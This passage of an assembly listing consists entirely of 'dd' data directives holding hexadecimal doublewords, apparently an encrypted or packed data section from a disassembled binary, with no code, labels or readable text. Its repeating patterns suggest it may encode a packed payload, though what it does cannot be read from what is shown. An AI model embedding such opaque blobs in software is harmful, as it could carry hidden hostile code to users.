		dd 37FC8462h, 442245C1h, 0FABEA143h, 121F4219h,	78C14F30h
		dd 0D3B53CB4h, 5878C14Eh, 2EDD7E98h, 5EE8BE4Bh,	0FF6278C1h
		dd 41F06BAAh, 52F5D45Bh, 2F7272BAh, 9549C80Ch, 0BCBADD7Eh
		dd 0BA2B5335h, 0E695D872h, 540358BAh, 0A7AADE1Dh, 0C6C22317h
		dd 877h, 240259BEh, 0BF9DBE56h,	5E3C1FF1h, 0FBD98290h
		dd 9573E82Dh, 0B06572FAh, 17FFCDABh, 7B986644h,	0DD3402E0h
		dd 0EACEA07Eh, 0D5D88163h, 8D2C0684h, 2309D148h, 6B4224ABh
		dd 91807EC7h, 0FBE0A7CAh, 0D057D5B8h, 78C07EF1h, 7B63AE6Eh
		dd 0E511C09Bh, 9B81302Bh, 32635DDh, 5A9E593Ch, 0F5C3A1BAh
		dd 19193C1Fh, 2EB06306h, 1AC978E3h, 5513AD34h, 0D51878C0h
		dd 8C4AA6B2h, 0ECB3D685h, 0D8027909h, 0AA411F3Ch, 78C055D4h
		dd 2F15CD4Eh, 0C055EAA8h, 0AC682678h, 0C9488CAFh, 8300E392h
		dd 80946240h, 0DDABB8DBh, 4B78C053h, 0D83CE6DDh, 3DD7A583h
		dd 39C0381Eh, 78C05457h, 0FBB699DCh, 0C05288EEh, 15DA3678h
		dd 1594A9D7h, 213ADBB7h, 0B8FF8F72h, 0C7A5B65Eh, 6078223Dh
		dd 0CC0601F6h, 43CAB05Fh, 78BFCF6Ch, 75E62AE8h,	2BA88B52h
		dd 39B8C5E8h, 0AFE45E31h, 91D5F863h, 0EFB6D982h, 0E70A51C3h
		dd 49166DDBh, 0FB1BD975h, 6AC0A229h, 245045Eh, 9BE07053h
		dd 0F1B62164h, 1A26A58h, 4A910000h, 38495B85h, 8EB799Ah
		dd 63499188h, 0C061D1DCh, 0FB17D578h, 0BD007D60h, 60FB19D7h
		dd 0D041FF7Dh, 32DFAD8Bh, 81F90629h, 0DCF179CDh, 35426126h
		dd 0D88365ECh, 0C508F17Ah, 1DF8D892h, 4FD5AA3Ah, 0E36E50D7h
		dd 0B0F3F17Ah, 0D60809CDh, 34FB1E3Dh, 0A3520908h, 917F3DC5h
		dd 0EE23E7CAh, 0D14A4A6Dh, 0B55D2B09h, 0D23F83A6h, 0E2E9CB52h
		dd 2B6EF17Ah, 38D8967Ch, 0FCCA4023h, 25234615h,	0BD3B6460h
		dd 34DE700Ah, 8957827h,	5EEFED20h, 12CCB37Bh, 0B07E5CFFh
		dd 0D7D7FA61h, 22EF1A44h, 26E5C7B6h, 0AAD6AAF7h, 0B1600F45h
		dd 496244CBh, 20E77EF1h, 85DFAA02h, 5D3BEA77h, 0B2D5868Fh
		dd 8B71A9B2h, 0F0992604h, 8260A37Eh, 0DBFE5DB4h, 0BADD7E97h
		dd 9BBE9D76h, 0F023BB57h, 0D281486Bh, 4E35A3AFh, 0C8AF1D11h
		dd 61D4030Eh, 9DD4C04Eh, 562402B1h, 7D7DA0BBh, 0CF563CE2h
		dd 7EF08725h, 0C149276Ah, 15481303h, 0EE112050h, 0A0644778h
		dd 0C9C7EA71h, 7255060Bh, 0D3F665AEh, 0B1D4878Fh, 91B4A76Dh
		dd 4E95C64Dh, 80623186h, 8DCE4200h, 30C0A36Ah, 810D54Bh
		dd 0CDAF360Eh, 527EF10Ch, 10C6DC0Fh, 1100C4A7h,	6FA6644Ah
		dd 0C59309ECh, 6B290F4Ch, 9593B6A5h, 0F0FC2C0Eh, 0BF6EB17Eh
		dd 0FC7052D9h, 0B2F57EF0h, 581614CFh, 3ABA9DBEh, 8C13F921h
		dd 7EF0FCE6h, 35FAE023h, 2B62FA81h, 35AB8E7Bh, 8CAFAC67h
		dd 654B938Ch, 0CEE75EDh, 917EF115h, 6DEE224Eh, 13A0834Ah
		dd 7EF11561h, 168563A6h, 704E0D04h, 0E72E73E6h,	193C1FF7h
		dd 0B980A352h, 6B6A4CD3h, 0ACEF7EC7h, 0B75917FDh, 6B04E66Dh
		dd 46897EC7h, 0AF36B497h, 78C07F60h, 259F64DCh,	0C4E506F0h
		dd 0C8311308h, 0EFB678BFh, 103FD1AEh, 0E3C675F2h, 0EC6FA666h
		dd 6D5302C9h, 14F67DF5h, 9978BFFDh, 0FD7F6156h,	0C10478BFh
		dd 2AE860DEh, 0C88C6FECh, 6432104Bh, 8B89ACAFh,	0FDAA8C13h
		dd 0EC2F78BFh, 13908909h, 0BFFDAA8Ch, 0A46F2F78h, 1ECD94B7h
		dd 193C1FF2h, 36BDA352h, 72B908B3h, 5123578h, 72B9022Fh
		dd 846AB0A9h, 0B1F61EFDh, 35589B6Ch, 43B20F1h, 1DB00641h
		dd 4A39F00h, 31000005h,	0C99775E6h, 6432104Bh, 3D1AFACh
		dd 0A06E4C0Fh, 6D08E675h, 1E3DD8FFh, 0B7A47240h, 53080BD9h
		dd 0F16AA775h, 0D65D4113h, 84D5DBF4h, 48009F79h, 9C2309D1h
		dd 78BF8971h, 0D3B53CB6h, 1178C049h, 6C335605h,	0D75E4487h
		dd 78C049F5h, 6588377Ah, 0D8B6A267h, 2169CC8Fh,	71DAB13Eh
		dd 0BA6878BFh, 60E75FC5h, 78BF727Eh, 3EDDC003h,	0E490AE47h
		dd 11144h, 0D24A6B00h, 0C76B694Bh, 0EC6FA77Eh, 54E1C407h
		dd 7EC769CEh, 1CA31B01h, 7EC76B3Ah, 59997CBFh, 0ED6EA765h
		dd 90CB460Ah, 0EC3028B2h, 9E168E06h, 0C76B3517h, 8277BA7Eh
		dd 7EC76BA0h, 72FFE225h, 7EC76BC8h, 94C74E0Ch, 0CEF134B1h
		dd 0EED4878Ah, 2CBDB729h, 0A68988E4h, 6AB2A630h, 26470C84h
		dd 0E4C7C750h, 0E80CEE75h, 4E917EC7h, 852FBC9Fh, 0CA7EC7E8h
		dd 33E3A187h, 4516FC28h, 0AE63A762h, 8247CFADh,	2F1D4C44h
		dd 0C74D80FCh, 9B85246Dh, 9D8505E8h, 62E96147h,	7EC78780h
		dd 0AB004AB7h, 3A1FC44Ah, 475739C0h, 99DC7EC8h,	28907EAh
		dd 7EC8474Ch, 218DC388h, 85B8A36Dh, 0CAADBE48h,	0E9E70A4Dh
		dd 4A76E52Bh, 0AB7295C6h, 8E653BC8h, 65D37EC7h,	0C64C0A1Eh
		dd 3A5DFE18h, 61E1C473h, 8365ECF9h, 0C17EC80Eh,	0E2250A51h
		dd 4ED54D33h, 7EC80E6Ch, 8E82AEF1h, 0E3AACDh, 0E45FB82h
		dd 0BB827EC8h, 141CB4CBh, 0ECCA79A2h, 8666h, 0D1480300h
		dd 0BD9C2309h, 3A78C07Fh, 8690D4F7h, 0F06DF7D5h, 9086442Ah
		dd 0E36AE8CBh, 78C05705h, 0F1C3F82h, 78C0573Ah,	0BFA51AC8h
		dd 0C8C939FAh, 5D405965h, 8FECC7BEh, 49C4E4h, 48EB0000h
		dd 0A0270DD5h, 7EC76BBEh, 99DD0043h, 7800DE7Dh,	1E015ABAh
		dd 7230BF9Eh, 0E6C8BD9Eh, 6B7EC76Ah, 0C937928h,	7EC769A6h
		dd 0F0FD2063h, 7EC6AB1Ah, 0BDA51A88h, 0D947AA0h, 7EC729A7h
		dd 0EA71A563h, 0A01D00C7h, 4107F5Dh, 0A3684E0Dh, 4B814AA0h
		dd 0EC9AC52h, 361447CAh, 876DB5ACh, 0C16E2D00h,	1EF3B178h
		dd 4E9D7F06h, 0DF2278C1h, 13460D30h, 2103C57h, 3806362h
		dd 0F51CDAC0h, 0BBC88366h, 78C0E8E5h, 49FEC573h, 0E48F373Ch
		dd 9EF44D12h, 0FD63FC35h, 0BEA30FC6h, 406C1B21h, 63A487D4h
		dd 3Ah,	9D1488Ah, 88535E23h, 0E21F87B2h, 23FA81FFh, 0A078C04Dh
		dd 72A31E0h, 0EDAB9140h, 9A553823h, 0C0EDB78Dh,	20974578h
		dd 8F2F6A1Bh, 0E121E4h,	712F0000h, 0CF96B9A2h, 0D0487ECh
		dd 5DE184CAh, 10BFA1EEh, 0EF6CA9EDh, 0D28988CCh, 38A66BAFh
		dd 965D80DBh, 5B4A76Ah,	6D9A9027h, 1107EC8h, 37FC745Ah
		dd 541408D3h, 0C2A49917h, 477EC7F4h, 0DDAB2104h, 4042734h
		dd 58DFC51Dh, 78C01CDDh, 0F7815FA2h, 4FD6BC62h,	72B679A3h
		dd 311921E8h, 39DEC047h, 206372B7h, 8ACC65EDh, 86A9B25Eh
		dd 6C2A10BFh, 670D2EA9h, 67629ADCh, 5083CA1Eh, 3EED5888h
		dd 0D8839260h, 0AA71AEA1h, 36329317h, 1D7h, 0C4A2B95Eh
		dd 5F3D1EF6h, 0FEDC7F91h, 9B79E230h, 351348CDh,	1005D29Ah
		dd 779F6D4Bh, 0DB3806E4h, 3DD4A280h, 8A6E401Eh,	0D5DF2103h
		dd 2DCCA684h, 0D4878C4Ah, 54BEEAB1h, 3A1DE407h,	0DEBC9F76h
		dd 66789856h, 0C188ABB0h, 0A66B2F12h, 4868D7B5h, 0AB2309D1h
		dd 6ACAAC33h, 0C4F7EC7h, 9BC59C29h, 0FF4278BFh,	3AF9CFDCh
		dd 0EB8778C0h, 3B0AEC73h, 4C8F78C0h, 5DE2D969h,	0E48FE128h
		dd 4527AE26h, 0CA78C02Fh, 0A3B85B87h, 0A87FC0h,	4A60000h
		dd 0E72B4E0Dh, 8D6FF62Eh, 0CB7EC76Bh, 0ED301546h, 7B9A583Eh
		dd 3542FDE0h, 7EC76E3Fh, 0D04236FBh, 1534B0A3h,	0B8A36E32h
		dd 1F050CDAh, 0C737B698h, 0CCF83B7Eh, 41641348h, 9185D841h
		dd 0AE351BCAh, 78BF5F33h, 83D839F7h, 39B69960h,	8B8E18F6h
		dd 0E1E66D53h, 0DE72B5B5h, 1EF7B59Bh, 84915F3Dh, 6EB9A0D7h
		dd 278817ABh, 0DA2Bh, 9FBC5B00h, 3A21F3C1h, 0D9828E5Ch
		dd 76E52DFBh, 104BCA98h, 2D59732h, 9C6A4813h, 3503E17Ah
		dd 0D19F7DDEh, 6B3D1B40h, 0E01E0087h, 0C9A384D5h, 4A11042Ah
		dd 0E8739E6Ch, 0D049B0Ah, 2AE72B4Eh, 53CB5331h,	6B7254DBh
		dd 0B4F77EC7h, 0C76ADDBFh, 64F71B7Eh, 4103C7Fh,	6DF47457h
		dd 3048CFB5h, 2D78B8D2h, 4C9C7EAh, 4D8F12F2h, 0FBBFA28Ah
		dd 9A5F4516h, 0CBCF70F6h, 18FC1C83h, 72701E51h,	0AE7CF2D5h
		dd 0C8D5F863h, 9826B427h, 61BD02CAh, 0FFCDABB0h, 0E2264912h
		dd 0FC082B30h, 24ED298Eh, 3D977900h, 5C1C5827h,	0B980A3B8h
		dd 8748D70Ah, 6B78FAA9h, 110DEBCh, 0C139375Ah, 26C3583Ah
		dd 0B79ADD58h, 123Bh, 8C4AD800h, 47EFD289h, 4224AB23h
		dd 0C77EC76Bh, 43CA184h, 0E1254813h, 0C4082B30h, 0A5E90C4Fh
		dd 83C7EA71h, 62A6C992h, 4185A8B3h, 23678AD1h, 74B6EEDh
		dd 2A2B4E0Dh, 5E08950h,	4, 4BA52h, 0D0290000h, 2404875Ah
		dd 4719685Ch, 34890000h, 0E7895724h, 4C781h, 0EF830000h
		dd 243C8704h, 242C895Ch, 10D56851h, 81593239h, 600FF3E9h
		dd 81D9F723h, 0E76A04C1h, 595E5114h, 1F68h, 24248900h
		dd 4240483h, 481565Dh, 5309524h, 8458F40h, 7DF2BB53h, 0EB813EC1h
		dd 28466DC6h, 0C48C381h, 0E381222Bh, 605F17EEh,	8102EBC1h
		dd 3AB7CC3h, 85D2938h, 2434FF5Bh, 4C4815Dh, 0FF000000h
		dd 815E2434h, 4C4h, 478E900h, 0B82EFFF9h, 60E7656h, 0E0FFC503h
		dd 43C07E96h, 5806D8E3h, 34D3A38h, 0DEAC322h, 9E8h, 0F4F37000h
		dd 2B62C9EDh, 13E9C1ACh, 20000000h, 5C529BCCh, 0BD760859h
		dd 1C861ED1h, 2625A6A5h, 605B1BF7h, 61D78B66h, 0DBB3C381h
		dd 25BF0000h, 3330D077h, 0CA8166C9h, 348BA101h,	81BEB00Bh
		dd 8BFDBEF6h, 18B0F6Ch,	0F8000000h, 3487C681h, 5E92067h
		dd 1A000000h, 0E360EA78h, 0A2CCC681h, 81666154h, 895AA8CAh
		dd 0BF660B34h, 800F1B2Dh, 1Ah, 12E960h,	5150000h, 0B1535D87h
		dd 0B8EB4987h, 7F77414Ch, 2C482E60h, 0E98161F8h, 4259E79Fh
		dd 6E9h, 5803BF00h, 81DAD3D1h, 59E79BC1h, 5880F42h, 66000000h
		dd 881EF081h, 2520F981h, 850FFFFFh, 0FFFFFF7Eh,	168C0Fh
		dd 870F0000h, 10h, 0BE9h, 5ACEF00h, 0B9769CC8h,	0ADA4327Fh
		dd 8E8h, 0FDF98D00h, 0BFEE7B63h, 0A1DC8036h, 11E95Bh, 0D1710000h
		dd 0CB16CBCAh, 0A6F98412h, 0DB640941h, 81F04AD2h, 6341C3h
		dd 0DE900h, 29DC0000h, 131B317Eh, 3D71501Eh, 0B985FC60h
		dd 189Dh, 6E8h,	907A5700h, 0E927E025h, 5, 0E7074D71h, 33FF5EE8h
		dd 665AC38Bh, 0F281FA8Bh, 5A3DE4DDh, 7B7EA81h, 0B0576199h
		dd 0F2815F07h, 4D11ED13h, 5EF85652h, 0BF66038Fh, 0EB83ADEDh
		dd 0CC806003h, 0B70F5152h, 4B6158D2h, 2F850F49h, 0E9000000h
		dd 12h,	1AC69C38h, 5FC61BBEh, 0EA62EE74h, 0DA6C6722h, 23E99282h
		dd 9C000000h, 765CA1FCh, 293AE779h, 44755BCh, 44DDE7E2h
		dd 8FE972DBh, 6EFFFFFFh, 0FC1E07BEh, 8FDCF62Bh,	10E8DE79h
		dd 5B000000h, 2F49B3BAh, 160F0AA3h, 401AE8A7h, 0F830B784h
		dd 1286BA5Fh, 0C7811261h, 5B27h, 70D08166h, 0E9F62B95h
		dd 14h,	91BF3F0Bh, 0CFDF6987h, 40912E5Bh, 553A4B95h, 0F1CA37D5h
		dd 0B7370C8Bh, 7EE981A2h, 0F7680A9h, 1284h, 0C8A0F00h
		dd 0E9000000h, 7, 6A1B2296h, 81A663D2h,	0DA1FECE9h, 81DE8B1Ch
		dd 9C700DF1h, 62D8813Ah, 8931F5E4h, 0C081370Ch,	534520A7h
		dd 8393F380h, 8B6603EEh, 0DE94EC6h, 0DF000000h,	34C9F734h
		dd 0B38C3109h, 6C5E9E7Bh, 0A57CFE81h, 850FFFFFh, 0FFFFFF98h
		dd 8D8DD4B3h, 60E7A3Eh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Dh, 20C35545h, 0E68748BFh, 0D7450D1Eh, 0FFD6813Ch
		dd 89505C71h, 70A218Dh,	798D8906h, 8B060706h, 0E585C7F7h
		dd 0EC06072Ch, 6A00006Ch, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1C042444h, 46000000h, 5B6AC356h, 9907CFBBh
		dd 81C3386Ah, 90257DBh,	0CE925h, 758D0000h, 0C117367Ah
		dd 42DC7B59h, 85C7728Dh, 6072D05h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 1C35747h
		dd 151F153Fh, 80CF7E7Fh, 0F19D894Ah, 0FF060707h, 70B75B5h
		dd 15B50906h, 0FF060708h, 700BD95h, 0FF006A06h,	716B595h
		dd 0EBC08B06h, 6613437Dh, 7680CB6Ch, 4C14EB85h,	7B38B29Dh
		dd 7277DEADh, 31823333h, 0C197EF77h, 8797B5D9h,	1FDBCF5Fh
		dd 2C875E5Bh, 1E74CF12h, 186DF473h, 6D252770h, 0ED84467Fh
		dd 5DA15F59h, 0E7D4E15Dh, 6B56EAFh, 81C5458Bh, 2AE4D8D7h
		dd 0EF1E78EEh, 9BBBC734h, 41669E13h, 0B4C6AEC9h, 0FF93BCBFh
		dd 849B6E3Dh, 12DBA4A0h, 9D05EBB4h, 4F3929B1h, 0A75DF367h
		dd 7F470679h, 9E744FB0h, 0ECE9A801h, 0
		dd 37000000h, 0EB77E7ACh, 4977E75Ch, 1F77E73Ch,	77F7E2h
		dd 77F7E3h, 277E600h, 5	dup(0)
		dd 0FD000000h, 77E7A5h,	2Bh dup(0)
		dd 2000000h, 14000000h,	0A31611EDh, 113211A2h, 8837FC66h
		dd 785F1566h, 0A102ED28h, 163DE0DBh, 81471560h,	7433A8E5h
		dd 56321361h, 9A61457Fh, 8C23ADA6h, 0C1BB1566h,	24351CB3h
		dd 0BD9588EBh, 5BCD136Fh, 0F9B14D3Dh, 24352567h, 41256166h
		dd 8C23AD35h, 0C1BB1566h, 24351CB3h, 0B8A488EBh, 5BCD136Fh
		dd 22524D3Dh, 9BCCADDCh, 2CED038Dh, 8834FC07h, 0AF6B1566h
		dd 4EDD53CEh, 35369E36h, 8836D1E7h, 4CDB1566h, 6A321566h
		dd 0EFCA09ADh, 61426D26h, 44321574h, 9BB8A155h,	95CFF53Dh
		dd 1126B3F4h, 1C41B7CFh, 9FB1DC87h, 173C6F87h, 0D1B61A66h
		dd 0AD321566h, 22321563h, 2D4DF60Dh, 8EB79886h,	0BC341B37h
		dd 2DCAC599h, 113201E0h, 883DFC66h, 0A1671566h,	86E6E58Bh
		dd 0F389C5B9h, 79298A62h, 72B79826h, 0DE341B37h, 0F952C599h
		dd 8832156Dh, 4BC9D1BDh, 832E3717h, 0F82A101Ah,	8832156Eh
		dd 0A10EE787h, 0EDD12E48h, 70FE9F3Ch, 0A43790A0h, 0BC641361h
		dd 223EFC06h, 1C851566h, 4F04A02h, 3101C97Ch, 0AF3D9C26h
		dd 11321566h, 30607D07h, 0C93D89CEh, 22321574h,	1132188Fh
		dd 0CC143566h, 451FDB4Ch, 0C29F683Bh, 0A4CDA9B9h, 8E3524CBh
		dd 47B41A06h, 44321566h, 0F853E2EDh, 88321577h,	50F7C301h
		dd 0B4F65DD0h, 0A32B24AAh, 0E21EEA9Ah, 5BB7981Bh, 2D341F1Dh
		dd 11321FE0h, 37547566h, 0FF5438DFh, 0DD5318CDh, 1E6075B6h
		dd 883215EEh, 9AB94A66h, 9BB79C07h, 0F8341278h,	8832156Ch
		dd 0C25D42EAh, 0CEA1CE75h, 953D7BB6h, 88321567h, 4DB7D29Eh
		dd 22341275h, 0F8321566h, 8832156Fh, 0F1857AE8h, 0D73E70C3h
		dd 14B7D332h, 0CD34124Ah, 443A9169h, 44521566h,	0CC33CDE7h
		dd 0D3D7493h, 4432156Bh, 22321D8Fh, 8BBDB266h, 85F47C8Ah
		dd 2D5B7D9Bh, 0A13D9B14h, 11321575h, 8835FC06h,	70FD1566h
		dd 476E0B01h, 0F8B3733Bh, 7753A0B7h, 432938D3h,	2226FC60h
		dd 0EAEB1566h, 0D6214E64h, 0BEB0A729h, 342540AAh, 3ADF3BD9h
		dd 0DBFA667h, 42352E42h, 2232198Fh, 5AD3DF66h, 72FF5E70h
		dd 0BB85FC6Bh, 0CBE2EA17h, 11321561h, 0D157B56Dh, 0CD27A0C1h
		dd 251F7CE3h, 91527560h, 6AB8AC94h, 9BB97307h, 27B7D307h
		dd 5234124Ah, 88321C8Fh, 5FA2566h, 0EAD48CBDh, 4F5AEFC1h
		dd 0E8AE720Dh, 18E09400h, 2DDB7506h, 0CF321566h, 0CA727DC0h
		dd 2EB8F26Fh, 0B275342Dh, 0C6B3E0CEh, 9C68CC1Dh, 0F1CD7407h
		dd 24350E4Bh, 0F1B27506h, 238C7466h, 25455388h,	22321B8Fh
		dd 7AED3066h, 0AEB20ED6h, 0FE744C2h, 0AF700E9Ch, 160931E3h
		dd 89B41A60h, 0B8321566h, 31DBC599h, 0C6321566h, 1B0521F9h
		dd 30183FAEh, 21C99DADh, 22A01E52h, 0DBB49B5h, 423C6FAFh
		dd 223BFC06h, 0F9771566h, 1A96FCAEh, 0C5510DE0h, 40664CB6h
		dd 94F4743Fh, 8E353963h, 4421FC32h, 37A81566h, 975D42EAh
		dd 64A1CE75h, 82227BB6h, 8DA6CFD0h, 791B7D93h, 9BDBFB04h
		dd 0EB321566h, 0C89A6A89h, 8C2ECB56h, 82EA8864h, 0A6D8B7B0h
		dd 97CDC4BBh, 17350E4Bh, 8EB01A06h, 0C5321566h,	7C676D94h
		dd 94BF741Ah, 8E352E42h, 44321B8Fh, 0A497A966h,	73E2E54Fh
		dd 0D061BBCAh, 0BB045E27h, 953D75B6h, 94BB74A5h, 8E3C6FABh
		dd 44321B8Fh, 80F68166h, 9310B2E6h, 0A667D6Ch, 246C005Ah
		dd 2226FC9Ah, 0AF41566h, 10A64828h, 0B25F105h, 0B1815113h
		dd 6AC72842h, 4E53862Eh, 431E10E3h, 0A23D5060h,	11321569h
		dd 88321F8Fh, 16DCB166h, 901E3257h, 71794C97h, 99DB2FD0h
		dd 25321566h, 70E53ECDh, 9789B166h, 120452B1h, 9531139Bh
		dd 1AF07D07h, 1FDBCF06h, 6B321566h, 84AFAF03h, 0AC61D195h
		dd 6FD149FAh, 954752Dh,	0FDE625ADh, 6255BAA6h, 3C87EA07h
		dd 8734127Dh, 44320FE7h, 9F897566h, 0F95C5019h,	8832156Bh
		dd 305708CEh, 5C68CC9Ah, 0F7124D1Ah, 5534BF7h, 430931E3h
		dd 2237FC60h, 92731566h, 7798610Dh, 0FC5475B6h,	0A3636040h
		dd 1AEC6784h, 74534C2Ch, 3EE390EFh, 0A1CA1368h,	161398DBh
		dd 0D3D1560h, 44321466h, 0E3B37306h, 0AE3D3B7Ch, 0DF47497h
		dd 42353963h, 23B51A23h, 0E4321566h, 0A84C930Eh, 45BF1A9Ch
		dd 0DE321566h, 0A1FA099h, 81DB1361h, 0A1321566h, 0BBF1FD50h
		dd 0D3190DD8h, 88209669h, 49DB1566h, 0AA321566h, 0D1234598h
		dd 0F669E81h, 6E5CDFD4h, 191690EBh, 953D1361h, 88321568h
		dd 44321C8Fh, 72C66D66h, 57D50091h, 58CDBDDAh, 91B79C93h
		dd 0CB341B1Ch, 11321568h, 0DAE6E3D5h, 0DD04A1A9h, 4D0284Dh
		dd 94F46FD0h, 8E353963h, 2CCAEC2Ah, 0C214C5A5h,	3C87EA93h
		dd 6134127Dh, 44321576h, 0C2092049h, 0D56F6BFBh, 9D93B2F3h
		dd 60884707h, 191690EBh, 0EECE1361h, 883DFCB6h,	9591566h
		dd 0DB56E28Fh, 0C54688A0h, 0D3462FEEh, 9DB79C3Bh, 42341B1Ch
		dd 1132128Fh, 0F9DFD966h, 0C7382A56h, 2ADB749Fh, 1E321567h
		dd 883206E4h, 443CFC66h, 71141566h, 62B9B1F6h, 57A189B5h
		dd 0B0C679AFh, 0E3790A0h, 0F8601361h, 8832156Eh, 74751411h
		dd 0DEDC7353h, 5BD6180Eh, 9CBF1ADAh, 0AD321566h, 22321569h
		dd 6F52FAECh, 466D954Ch, 76DEC06Eh, 0DD9E07E5h,	163004D3h
		dd 8835FC60h, 79D51566h, 0D3E98CA0h, 35B79866h,	7134125Dh
		dd 0C63DC599h, 22321570h, 11229769h, 83DB1566h,	40321566h
		dd 5CFE80A5h, 0AF939B98h, 0DBB95B6h, 423C6FB3h,	22369D69h
		dd 71521566h, 0DF47407h, 42353963h, 0A23D7534h,	11321565h
		dd 0E8EB9E00h, 44321D8Eh, 4BDC0866h, 6616E826h,	0E9534C0Eh
		dd 0E7A7D9Eh, 0DDCAB32Ah, 163004D3h, 84BC1A60h,	4B321566h
		dd 223213E1h, 11BA1A66h, 5321566h, 430931E3h, 0F2CDE060h
		dd 113E9C69h, 43D1566h,	44321560h, 22329C69h, 94BB1566h
		dd 8E3C6FBFh, 443F9A69h, 44521566h, 0C889F4E7h,	3AC4C4E7h
		dd 825375A0h, 251E10E3h, 973D4760h, 8832156Eh, 52F49506h
		dd 4358C8E6h, 5386FF0Eh, 883BFC9Bh, 3F681566h, 15BE6061h
		dd 0EEE9171Dh, 8F2938D3h, 2252E960h, 2D8FB0D9h,	113215EBh
		dd 0DBF7466h, 42352E42h, 0AE3D7506h, 11321566h,	373D7493h
		dd 94CD749Eh, 2232048Fh, 478A1066h, 572639D7h, 22A230A6h
		dd 0EAF5AE75h, 94BBF6A8h, 8E350A27h, 4432078Fh,	0B2D20D66h
		dd 0ED54B60Dh, 880D9335h, 20DC8B6Dh, 0E4B85160h, 161E10E3h
		dd 87C76260h, 44321EEBh, 7A8B7566h, 7766F60Fh, 0E97DF3DEh
		dd 0D39AB60Eh, 23B51A95h, 0ED321566h, 9333A099h, 0CA3D1361h
		dd 2232156Ah, 11349E69h, 3D1566h, 44321566h, 191690EBh
		dd 18DB1361h, 51321566h, 76FCFCF4h, 2D9334BBh, 1CDBC599h
		dd 0A321566h, 0B4B3619Eh, 664C679Eh, 0CAE6F024h, 8E2B90EFh
		dd 82CB1361h, 251E10E3h, 903D4760h, 88321570h, 4432048Fh
		dd 63001F66h, 34700FBh,	0F9B342F8h, 0A20B8B7Ah,	355A950Eh
		dd 1EB8C857h, 883219EFh, 4435FC66h, 0E18B1566h,	6258175Eh
		dd 0A587EA66h, 2434127Dh, 43F19E00h, 2A1690EBh,	0D9521361h
		dd 44321B8Eh, 0FE1F3E66h, 0A26682AAh, 0C19DED45h, 1F51CE25h
		dd 0FD851A38h, 10BD1A07h, 70321566h, 0FB52C599h, 1971F23Fh
		dd 985346D3h, 8F28F0E3h, 45BF1A60h, 0DB321566h,	11339469h
		dd 4ECE1566h, 431E10E3h, 27DB4360h, 9A321566h, 0EB6D1E79h
		dd 5B5F2C0Eh, 43C775B2h, 113E9669h, 73D1566h, 44321560h
		dd 22329369h, 0A4CD1566h
		dd 8E3524CBh, 5BB79893h, 2D341F1Dh, 113214E5h, 58CDEC66h
		dd 44379969h, 2D521566h, 9853D2D1h, 8F1990E3h, 0C1F4E060h
		dd 24353963h, 6B5AE021h, 7DB3C976h, 5F1FA099h, 0A83D1361h
		dd 1132156Ah, 8832128Fh, 0BF502C66h, 24433E1Bh,	2A1690EBh
		dd 9CDB1361h, 70321566h, 0DF5333C1h, 543E40BDh,	5487E996h
		dd 50E4F192h, 0DD375F2Fh, 1135FCB6h, 0B011566h,	0DC55CB7Bh
		dd 0D7B79CDAh, 0E434124Bh, 0A43790A0h, 4B751361h, 223212E3h
		dd 10B71A66h, 7D321566h, 8FB97506h, 0C05A7407h,	1EB81AD3h
		dd 883219EBh, 42B91A66h, 2D321566h, 113215EBh, 0A587EA66h
		dd 2434127Dh, 395A8BDCh, 0CE887362h, 0DBF748Fh,	42352E42h
		dd 223B9B69h, 71521566h, 24A1AD07h, 0BB53667Eh,	2223FCB6h
		dd 4CC21566h, 35243070h, 15648D57h, 40C0E2D1h, 1EF02F60h
		dd 883202ECh, 55B31A66h, 0CB321566h, 1132156Ah,	0AB40B0h
		dd 7176E2AFh, 423EEFA4h, 6BCB90EFh, 87DB1368h, 0F321566h
		dd 227504C7h, 22BD525h,	0C9DAC172h, 0C1F5311Dh,	24351633h
		dd 1132151Eh, 0E9C99E06h, 588BA8E5h, 2D321361h,	112A29E2h
		dd 53D7566h, 4432157Eh,	2232078Eh, 293A2E66h, 0BD2FED77h
		dd 377A4EC7h, 0FCAA3C98h, 4AB98A12h, 0BC0DFFE7h, 825307A9h
		dd 251E10E3h, 9C3D5960h, 88321574h, 4432188Fh, 0B1620566h
		dd 0FCF7755h, 835EB37Ch, 0AD5A58ACh, 2DEBCF7Ah,	113212E5h
		dd 89B61A66h, 0BD321566h, 391FA099h, 0EDCB1361h, 0B31690EBh
		dd 4B521361h, 223217EAh, 0F8537566h, 8832156Fh,	5FEB7AF6h
		dd 0C876731Dh, 0C1CD7412h, 0DBBEC9Fh, 423C6F83h, 22321A8Fh
		dd 3839166h, 8E4FD964h,	68DD93E5h, 7CE155Ch, 3D3790A0h
		dd 0E87E1361h, 0C63AFCE7h, 4A537986h, 0CC46CBA8h, 0A587EA93h
		dd 4B34127Dh, 223214EAh, 94BFE966h, 8E352E42h, 44339A69h
		dd 0DACA1566h, 1E52C599h, 883214E7h, 0CD53ED66h, 2C48FCE3h
		dd 16B31A60h, 87321566h, 443214E0h, 0A7F4E966h,	17353963h
		dd 8837FC2Ah, 27621566h, 4A5516FAh, 0A6B39759h,	0A587EA9Fh
		dd 2434127Dh, 0DB65C2EDh, 94BF743Fh, 8E352E42h,	44299A69h
		dd 0AC3D1566h, 11321573h, 8832058Fh, 5190D666h,	0ACF5C482h
		dd 83E046CEh, 233D4072h, 4BE2EA4Fh, 223235ECh, 2DB7566h
		dd 8F321566h, 8975A1C8h, 92F2F1D8h, 0A3905BE0h,	26B2C6B1h
		dd 0CD3D6FB9h, 22321566h, 0FCB79C07h, 87341B1Ch, 44321FE5h
		dd 2237FC66h, 55E71566h, 7DADB2F5h, 683790A0h, 0CB7E1361h
		dd 11321569h, 430E0DBFh, 0D4E59C56h, 5473287Eh,	0F86B9532h
		dd 88321577h, 0D7A851F0h, 0F168F9DBh, 59B9DE73h, 0C0796665h
		dd 42A7D25h, 33DBA649h,	84321566h, 0B61F9839h, 3DFD7813h
		dd 0F0DD59F8h, 7C22A50h, 88321A8Fh, 4603D266h, 0B179990Fh
		dd 541446FAh, 35DCFC14h, 5F1FA099h, 9D521361h, 62B83289h
		dd 883D9669h, 4EDB1566h, 52321566h, 28C0995Ch, 0B29AFAE4h
		dd 0C1BF74F2h, 24352E42h, 11321A8Fh, 92473866h,	2722E42Dh
		dd 0F957BFBAh, 0A0B889Bh, 0B4D19506h, 4BE2EA07h, 22321DE2h
		dd 13B11A66h, 0E8321566h, 51B01A07h, 0CB321566h, 11321576h
